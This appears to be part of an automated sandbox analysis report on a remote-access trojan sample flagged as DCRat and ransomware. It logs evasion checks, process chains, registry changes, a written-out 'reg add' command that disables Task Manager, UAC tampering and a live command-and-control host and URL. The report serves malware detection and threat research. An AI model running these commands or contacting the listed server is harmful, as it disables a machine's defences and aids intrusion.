            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exe TID: 5904Thread sleep time: -922337203685477s >= -30000sJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe TID: 2612Thread sleep count: 950 > 30Jump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe TID: 6768Thread sleep count: 1102 > 30Jump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe TID: 7408Thread sleep time: -2767011611056431s >= -30000sJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe TID: 7408Thread sleep time: -600000s >= -30000sJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe TID: 7408Thread sleep time: -599881s >= -30000sJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe TID: 7408Thread sleep time: -599762s >= -30000sJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe TID: 7228Thread sleep time: -30000s >= -30000sJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe TID: 7024Thread sleep time: -922337203685477s >= -30000sJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe TID: 7380Thread sleep count: 364 > 30
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe TID: 7188Thread sleep time: -922337203685477s >= -30000s
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe TID: 7328Thread sleep count: 368 > 30
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe TID: 7256Thread sleep time: -922337203685477s >= -30000s
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeFile Volume queried: C:\ FullSizeInformation
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeFile Volume queried: C:\ FullSizeInformation
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EEA5F4 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,0_2_00EEA5F4
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EFB8E0 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,0_2_00EFB8E0
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00F0AAA8 FindFirstFileExA,0_2_00F0AAA8
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EFDD72 VirtualQuery,GetSystemInfo,0_2_00EFDD72
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeThread delayed: delay time: 600000Jump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeThread delayed: delay time: 599881Jump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeThread delayed: delay time: 599762Jump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeThread delayed: delay time: 922337203685477
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeThread delayed: delay time: 922337203685477
            Source: GNUCXbYadp.exe, 00000000.00000003.2077959810.0000000003194000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
            Source: Blockreview.exe, 00000006.00000002.2254373313.000000001C6D1000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
            Source: GNUCXbYadp.exe, 00000000.00000003.2077959810.0000000003194000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}s
            Source: backgroundTaskHost.exe, 00000014.00000002.2256056863.000000001B828000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
            Source: Blockreview.exe, 00000006.00000002.2238472187.000000001C146000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}5
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeAPI call chain: ExitProcess graph end nodegraph_0-24418
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess information queried: ProcessInformationJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00F0866F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00F0866F
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00F0753D mov eax, dword ptr fs:[00000030h]0_2_00F0753D
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00F0B710 GetProcessHeap,0_2_00F0B710
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess token adjusted: DebugJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeProcess token adjusted: DebugJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess token adjusted: Debug
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeProcess token adjusted: Debug
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EFF063 SetUnhandledExceptionFilter,0_2_00EFF063
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EFF22B SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00EFF22B
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00F0866F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00F0866F
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EFEF05 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00EFEF05
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeMemory allocated: page read and write | page guardJump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\BrowserreviewSavesruntimeperf\cyoW9TDLPAWUwl12Pv6zflv.vbe" Jump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\BrowserreviewSavesruntimeperf\file.vbs" Jump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\BrowserreviewSavesruntimeperf\4COnkcqgLamz7kP5YHD7l4vjV.bat" "Jump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\BrowserreviewSavesruntimeperf\Blockreview.exe "C:\BrowserreviewSavesruntimeperf\Blockreview.exe" Jump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /fJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeProcess created: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe" Jump to behavior
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EFED5B cpuid 0_2_00EFED5B
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: GetLocaleInfoW,GetNumberFormatW,0_2_00EFA63C
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeQueries volume information: C:\BrowserreviewSavesruntimeperf\Blockreview.exe VolumeInformationJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformationJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeQueries volume information: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe VolumeInformationJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformationJump to behavior
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeQueries volume information: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe VolumeInformation
            Source: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exeQueries volume information: C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe VolumeInformation
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EFD5D4 GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,0_2_00EFD5D4
            Source: C:\Users\user\Desktop\GNUCXbYadp.exeCode function: 0_2_00EEACF5 GetVersionExW,0_2_00EEACF5
            Source: C:\Windows\SysWOW64\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

            Lowering of HIPS / PFW / Operating System Security Settings

            barindex
            Disable Task Manager(disabletaskmgr)
            Source: C:\Windows\SysWOW64\reg.exeRegistry value created: DisableTaskMgr 1
            Disable UAC(promptonsecuredesktop)
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeRegistry value created: PromptOnSecureDesktop 0Jump to behavior
            Disables UAC (registry)
            Source: C:\BrowserreviewSavesruntimeperf\Blockreview.exeRegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System EnableLUAJump to behavior
            Disables the Windows task manager (taskmgr)
            Source: C:\Windows\SysWOW64\reg.exeRegistry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr
            Source: backgroundTaskHost.exe, 00000014.00000002.2256056863.000000001B790000.00000004.00000020.00020000.00000000.sdmp, backgroundTaskHost.exe, 00000014.00000002.2256056863.000000001B7FB000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
            Source: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct

            Stealing of Sensitive Information

            barindex
            Yara detected DCRat
            Source: Yara matchFile source: 00000006.00000002.2167631819.0000000003548000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.2167631819.0000000003251000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000018.00000002.2285548117.00000000032B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000014.00000002.2195019293.0000000002811000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000017.00000002.2286343002.0000000002851000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.2171805971.000000001325D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: Blockreview.exe PID: 1428, type: MEMORYSTR
            Source: Yara matchFile source: Process Memory Space: backgroundTaskHost.exe PID: 4916, type: MEMORYSTR
            Source: Yara matchFile source: Process Memory Space: wHkwzSlnBiGJprfYEurbfsdoSvkj.exe PID: 4200, type: MEMORYSTR
            Source: Yara matchFile source: Process Memory Space: wHkwzSlnBiGJprfYEurbfsdoSvkj.exe PID: 2940, type: MEMORYSTR

            Remote Access Functionality

            barindex
            Yara detected DCRat
            Source: Yara matchFile source: 00000006.00000002.2167631819.0000000003548000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.2167631819.0000000003251000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000018.00000002.2285548117.00000000032B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000014.00000002.2195019293.0000000002811000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000017.00000002.2286343002.0000000002851000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.2171805971.000000001325D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: Blockreview.exe PID: 1428, type: MEMORYSTR
            Source: Yara matchFile source: Process Memory Space: backgroundTaskHost.exe PID: 4916, type: MEMORYSTR
            Source: Yara matchFile source: Process Memory Space: wHkwzSlnBiGJprfYEurbfsdoSvkj.exe PID: 4200, type: MEMORYSTR
            Source: Yara matchFile source: Process Memory Space: wHkwzSlnBiGJprfYEurbfsdoSvkj.exe PID: 2940, type: MEMORYSTR

            Mitre Att&ck Matrix

            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity Information12
            Scripting            		Valid Accounts241
            Windows Management Instrumentation            		12
            Scripting            		1
            DLL Side-Loading            		31
            Disable or Modify Tools            		OS Credential Dumping1
            System Time Discovery            		Remote Services11
            Archive Collected Data            		1
            Ingress Tool Transfer            		Exfiltration Over Other Network MediumAbuse Accessibility Features
            CredentialsDomainsDefault Accounts2
            Command and Scripting Interpreter            		1
            DLL Side-Loading            		1
            Bypass User Account Control            		11
            Deobfuscate/Decode Files or Information            		LSASS Memory2
            File and Directory Discovery            		Remote Desktop ProtocolData from Removable Media1
            Encrypted Channel            		Exfiltration Over BluetoothNetwork Denial of Service
            Email AddressesDNS ServerDomain Accounts1
            Scheduled Task/Job            		1
            Scheduled Task/Job            		11
            Process Injection            		3
            Obfuscated Files or Information            		Security Account Manager57
            System Information Discovery            		SMB/Windows Admin SharesData from Network Shared Drive2
            Non-Application Layer Protocol            		Automated ExfiltrationData Encrypted for Impact
            Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook1
            Scheduled Task/Job            		23
            Software Packing            		NTDS261
            Security Software Discovery            		Distributed Component Object ModelInput Capture12
            Application Layer Protocol            		Traffic DuplicationData Destruction
            Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
            DLL Side-Loading            		LSA Secrets1
            Process Discovery            		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
            Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
            Bypass User Account Control            		Cached Domain Credentials151
            Virtualization/Sandbox Evasion            		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
            DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items3
            Masquerading            		DCSync1
            Application Window Discovery            		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
            Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
            Modify Registry            		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
            Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt151
            Virtualization/Sandbox Evasion            		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
            IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron11
            Process Injection            		Network SniffingNetwork Service DiscoveryShared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet
            behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1553028 Sample: GNUCXbYadp.exe Startdate: 10/11/2024 Architecture: WINDOWS Score: 100 54 pizdi2m7.beget.tech 2->54 58 Multi AV Scanner detection for domain / URL 2->58 60 Suricata IDS alerts for network traffic 2->60 62 Found malware configuration 2->62 64 15 other signatures 2->64 10 GNUCXbYadp.exe 3 7 2->10         started        13 wHkwzSlnBiGJprfYEurbfsdoSvkj.exe 2->13         started        16 wHkwzSlnBiGJprfYEurbfsdoSvkj.exe 2->16         started        signatures3 process4 file5 48 C:\...\Blockreview.exe, PE32 10->48 dropped 50 C:\...\cyoW9TDLPAWUwl12Pv6zflv.vbe, data 10->50 dropped 18 wscript.exe 1 10->18         started        21 wscript.exe 10->21         started        78 Antivirus detection for dropped file 13->78 80 Multi AV Scanner detection for dropped file 13->80 82 Machine Learning detection for dropped file 13->82 signatures6 process7 signatures8 56 Windows Scripting host queries suspicious COM object (likely to drop second stage) 18->56 23 cmd.exe 1 18->23         started        process9 process10 25 Blockreview.exe 2 10 23->25         started        29 reg.exe 23->29         started        31 conhost.exe 23->31         started        file11 42 C:\Users\Default\Videos\winlogon.exe, PE32 25->42 dropped 44 C:\Program Files\...\backgroundTaskHost.exe, PE32 25->44 dropped 46 C:\...\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe, PE32 25->46 dropped 66 Antivirus detection for dropped file 25->66 68 Multi AV Scanner detection for dropped file 25->68 70 Machine Learning detection for dropped file 25->70 76 4 other signatures 25->76 33 backgroundTaskHost.exe 14 3 25->33         started        36 schtasks.exe 25->36         started        38 schtasks.exe 25->38         started        40 7 other processes 25->40 72 Disable Task Manager(disabletaskmgr) 29->72 74 Disables the Windows task manager (taskmgr) 29->74 signatures12 process13 dnsIp14 52 pizdi2m7.beget.tech 5.101.153.48, 49702, 80 BEGET-ASRU Russian Federation 33->52

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            GNUCXbYadp.exe71%ReversingLabsByteCode-MSIL.Trojan.Uztuby
            GNUCXbYadp.exe52%VirustotalBrowse
            GNUCXbYadp.exe100%AviraVBS/Runner.VPG
            GNUCXbYadp.exe100%Joe Sandbox ML

            Dropped Files

            SourceDetectionScannerLabelLink
            C:\Users\Default\Videos\winlogon.exe100%AviraHEUR/AGEN.1323984
            C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe100%AviraHEUR/AGEN.1323984
            C:\BrowserreviewSavesruntimeperf\Blockreview.exe100%AviraHEUR/AGEN.1323984
            C:\BrowserreviewSavesruntimeperf\cyoW9TDLPAWUwl12Pv6zflv.vbe100%AviraVBS/Runner.VPG
            C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe100%AviraHEUR/AGEN.1323984
            C:\Users\Default\Videos\winlogon.exe100%Joe Sandbox ML
            C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe100%Joe Sandbox ML
            C:\BrowserreviewSavesruntimeperf\Blockreview.exe100%Joe Sandbox ML
            C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe100%Joe Sandbox ML
            C:\BrowserreviewSavesruntimeperf\Blockreview.exe81%ReversingLabsByteCode-MSIL.Ransomware.Prometheus
            C:\BrowserreviewSavesruntimeperf\wHkwzSlnBiGJprfYEurbfsdoSvkj.exe81%ReversingLabsByteCode-MSIL.Ransomware.Prometheus
            C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\backgroundTaskHost.exe81%ReversingLabsByteCode-MSIL.Ransomware.Prometheus
            C:\Users\Default\Videos\winlogon.exe81%ReversingLabsByteCode-MSIL.Ransomware.Prometheus

            Unpacked PE Files

            ⊘No Antivirus matches

            Domains

            SourceDetectionScannerLabelLink
            pizdi2m7.beget.tech12%VirustotalBrowse

            URLs

            SourceDetectionScannerLabelLink
            http://pizdi2m7.beget.tech/100%Avira URL Cloudmalware
            http://pizdi2m7.beget.tech/L1nc0In.php?k6HFrd=DBpCUEW5a6&c3c3a3de1c105a9ea3e5db7cb884c0c5=979b615f20100%Avira URL Cloudmalware
            http://pizdi2m7.beget.tech100%Avira URL Cloudmalware
            http://pizdi2m7.beget.tech/L1nc0In.php?k6HFrd=DBpCUEW5a6&c3c3a3de1c105a9ea3e5db7cb884c0c5=979b615f20ee468dab6043f75ec133fb&78a09ec9f4e412de6a9bc4970b6f7363=wNyQTZxgDOiVWOxUmNjJGM0cTMxYWZ0IWNwMmN0ITMjRzMiVmMmFzY&k6HFrd=DBpCUEW5a6100%Avira URL Cloudmalware
            http://pizdi2m7.beget.tech12%VirustotalBrowse

            Domains and IPs

            Contacted Domains

            NameIPActiveMaliciousAntivirus DetectionReputation
            pizdi2m7.beget.tech
            		5.101.153.48
            		truetrueunknown

            Contacted URLs

            NameMaliciousAntivirus DetectionReputation
            http://pizdi2m7.beget.tech/L1nc0In.php?k6HFrd=DBpCUEW5a6&c3c3a3de1c105a9ea3e5db7cb884c0c5=979b615f20ee468dab6043f75ec133fb&78a09ec9f4e412de6a9bc4970b6f7363=wNyQTZxgDOiVWOxUmNjJGM0cTMxYWZ0IWNwMmN0ITMjRzMiVmMmFzY&k6HFrd=DBpCUEW5a6true
            • Avira URL Cloud: malware
            		unknown

            URLs from Memory and Binaries

            NameSourceMaliciousAntivirus DetectionReputation
            http://pizdi2m7.beget.tech/L1nc0In.php?k6HFrd=DBpCUEW5a6&c3c3a3de1c105a9ea3e5db7cb884c0c5=979b615f20backgroundTaskHost.exe, 00000014.00000002.2256056863.000000001B848000.00000004.00000020.00020000.00000000.sdmptrue
            • Avira URL Cloud: malware
            		unknown
            http://pizdi2m7.beget.techbackgroundTaskHost.exe, 00000014.00000002.2195019293.0000000002C40000.00000004.00000800.00020000.00000000.sdmp, backgroundTaskHost.exe, 00000014.00000002.2195019293.0000000002C10000.00000004.00000800.00020000.00000000.sdmp, backgroundTaskHost.exe, 00000014.00000002.2195019293.0000000002C36000.00000004.00000800.00020000.00000000.sdmptrue
            • 12%, Virustotal, Browse
            • Avira URL Cloud: malware
            		unknown
            http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameBlockreview.exe, 00000006.00000002.2167631819.00000000033D0000.00000004.00000800.00020000.00000000.sdmp, backgroundTaskHost.exe, 00000014.00000002.2195019293.0000000002A7C000.00000004.00000800.00020000.00000000.sdmpfalse
              		high
              http://pizdi2m7.beget.tech/backgroundTaskHost.exe, 00000014.00000002.2195019293.0000000002C10000.00000004.00000800.00020000.00000000.sdmptrue
              • Avira URL Cloud: malware
              		unknown

              World Map of Contacted IPs

              • No. of IPs < 25%
              • 25% < No. of IPs < 50%
              • 50% < No. of IPs < 75%
              • 75% < No. of IPs

              Public IPs

              IPDomainCountryFlagASNASN NameMalicious
              5.101.153.48
              		pizdi2m7.beget.techRussian Federation
              		198610BEGET-ASRUtrue

              General Information

              Joe Sandbox version:41.0.0 Charoite
              Analysis ID:1553028
              Start date and time:2024-11-10 08:01:07 +01:00
              Joe Sandbox product:CloudBasic
              Overall analysis duration:0h 6m 52s
              Hypervisor based Inspection enabled:false
              Report type:full
              Cookbook file name:default.jbs
              Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
              Number of analysed new started processes analysed:30
              Number of new started drivers analysed:0
              Number of existing processes analysed:0
              Number of existing drivers analysed:0
              Number of injected processes analysed:0
              Technologies:
              • HCA enabled
              • EGA enabled
              • AMSI enabled
              Analysis Mode:default
              Analysis stop reason:Timeout
              Sample name:GNUCXbYadp.exe
              renamed because original name is a hash value
              Original Sample Name:4cc23344d26c44260cb52028cff992b7.exe
              Detection:MAL
              Classification:mal100.troj.evad.winEXE@26/13@1/1
              EGA Information:
              • Successful, ratio: 20%
              HCA Information:Failed
              Cookbook Comments:
              • Found application associated with file extension: .exe

              Warnings

              • Exclude process from analysis (whitelisted): dllhost.exe, audiodg.exe, RuntimeBroker.exe, ShellExperienceHost.exe, WMIADAP.exe, winlogon.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
              • Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
              • Execution Graph export aborted for target Blockreview.exe, PID 1428 because it is empty
              • Execution Graph export aborted for target backgroundTaskHost.exe, PID 4916 because it is empty
              • Execution Graph export aborted for target wHkwzSlnBiGJprfYEurbfsdoSvkj.exe, PID 2940 because it is empty
              • Execution Graph export aborted for target wHkwzSlnBiGJprfYEurbfsdoSvkj.exe, PID 4200 because it is empty
              • Not all processes where analyzed, report is missing behavior information
